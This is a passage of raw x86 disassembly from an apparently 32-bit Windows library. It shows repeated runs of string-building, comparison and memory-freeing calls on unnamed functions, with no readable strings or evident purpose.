call fcn.1000320e
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10006f4a
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10006f5a
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100557cb
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x100557e3
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100583fb]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10006fc5
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.1000320e
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10006fe5
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10006ff5
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100557ee
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x100557f8
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100583fb]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10007060
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.1000320e
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10007080
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10007090
push ebx
call fcn.10032d78
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x100070a3
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100070b7
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x100070cb
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x100070df
mov eax, 0x1005537c
push eax
push 4
mov ebx, 0x8cc
call fcn.10034870
add esp, 0x34
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10007102
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10007112
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10007122
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10007132
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055803
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x10055811
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100583fb]
push dword [ebp - 8]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000719d
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000320e
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x100071bd
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x100071cd
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x1005581b
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x1005582b
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100583fb]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10007238
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1000320e
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10007258
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10007268
push ebx
call fcn.10032d78
add esp, 4
push dword [ebp - 0x20]
push dword [0x1005842b]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100014f8
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10007294
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100072a4
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055836
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x1005584e
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100583fb]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x1000730f
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000320e
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000732f
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000733f
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055859
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x10055871
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100583fb]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x100073aa
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.1000320e
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x100073ca
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x100073da
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000301
push 0
push 0x10055423
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x1005587c
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100583fb]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10007445
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.1000320e
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10007465
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10007475
push ebx
call fcn.10032d78
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x10007488
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1000749c
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x100074b0
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x100074c4
mov eax, 0x1005537c
push eax
push 4
mov ebx, 0x8c8
call fcn.100334d0
add esp, 0x34
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x100074ea
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x100074fa
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1000750a
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1000751a
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000301
push 0
push 0x10055423
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x5c], eax
push 0xa0000101
push 0
push 0x10055886
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x60], eax
push dword [0x100583fb]
push dword [ebp - 0x60]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10007585
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.1000320e
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x100075a5
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x100075b5
push ebx
call fcn.10032d78
add esp, 4
mov eax, dword [ebp - 0x68]
push eax
push dword [ebp - 0x58]
call fcn.100019af
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x6c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x100075e2
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x100075f2
push ebx
call fcn.10032d78
add esp, 4
cmp dword [ebp - 0x6c], 0
je 0x100079e1
push 0xa0000101
push 0
push 0x10055891
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x1005589f
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100583fb]
push dword [ebp - 8]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10007667
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000320e
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10007687
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10007697
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100558aa
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x100558ba
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100583fb]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10007702
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1000320e
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10007722
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10007732
push ebx
call fcn.10032d78
add esp, 4
push dword [ebp - 0x20]
push dword [0x1005842b]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100014f8
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1000775e
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1000776e
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100558c5
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x100558dd
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100583fb]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x100077d9
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000320e
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x100077f9
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10007809
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x100558e8
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x10055900
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100583fb]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10007874
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.1000320e
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10007894
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x100078a4
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x1005590b
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x10055915
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100583fb]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1000790f
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.1000320e
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1000792f
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1000793f
push ebx
call fcn.10032d78
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x10007952
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10007966
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000797a
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x1000798e
mov eax, 0x1005537c
push eax
push 4
mov ebx, 0x8cc
call fcn.10034870
add esp, 0x34
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x100079b1
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x100079c1
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100079d1
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100079e1
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055920
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 4], eax
push 0xa0000101
push 0
push 0x1005592e
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 8], eax
push dword [0x100583fb]
push dword [ebp - 8]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10007a4c
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.1000320e
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10007a6c
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10007a7c
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055939
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x14], eax
push 0xa0000101
push 0
push 0x10055949
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x18], eax
push dword [0x100583fb]
push dword [ebp - 0x18]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10007ae7
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.1000320e
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10007b07
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10007b17
push ebx
call fcn.10032d78
add esp, 4
push dword [ebp - 0x20]
push dword [0x1005842b]
push dword [ebp - 0x10]
mov ecx, 3
call fcn.100014f8
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10007b43
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10007b53
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055954
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0xa0000101
push 0
push 0x1005596c
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [0x100583fb]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x10007bbe
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000320e
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10007bde
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10007bee
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000101
push 0
push 0x10055977
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x38], eax
push 0xa0000101
push 0
push 0x1005598f
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [0x100583fb]
push dword [ebp - 0x3c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x10007c59
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.1000320e
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x10007c79
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x10007c89
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000301
push 0
push 0x10055423
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0xa0000101
push 0
push 0x1005599a
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x4c], eax
push dword [0x100583fb]
push dword [ebp - 0x4c]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10007cf4
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.1000320e
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10007d14
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10007d24
push ebx
call fcn.10032d78
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x10007d37
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10007d4b
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10007d5f
mov eax, 0x1005537c
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10007d73
mov eax, 0x1005537c
push eax
push 4
mov ebx, 0x8c8
call fcn.100334d0
add esp, 0x34
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10007d99
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x10007da9
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10007db9
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10007dc9
push ebx
call fcn.10032d78
add esp, 4
push 0xa0000301
push 0
push 0x10055423
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x5c], eax
push 0xa0000101
push 0
push 0x100559a5
push 1
mov ebx, 0x168
call fcn.100331d0
add esp, 0x10
mov dword [ebp - 0x60], eax
push dword [0x100583fb]
push dword [ebp - 0x60]
mov ecx, 2
call fcn.100014f8
add esp, 8
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x10007e34
push ebx
call fcn.10032d78
add esp, 4
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.1000320e
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10007e54
push ebx
call fcn.10032d78
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x10007e64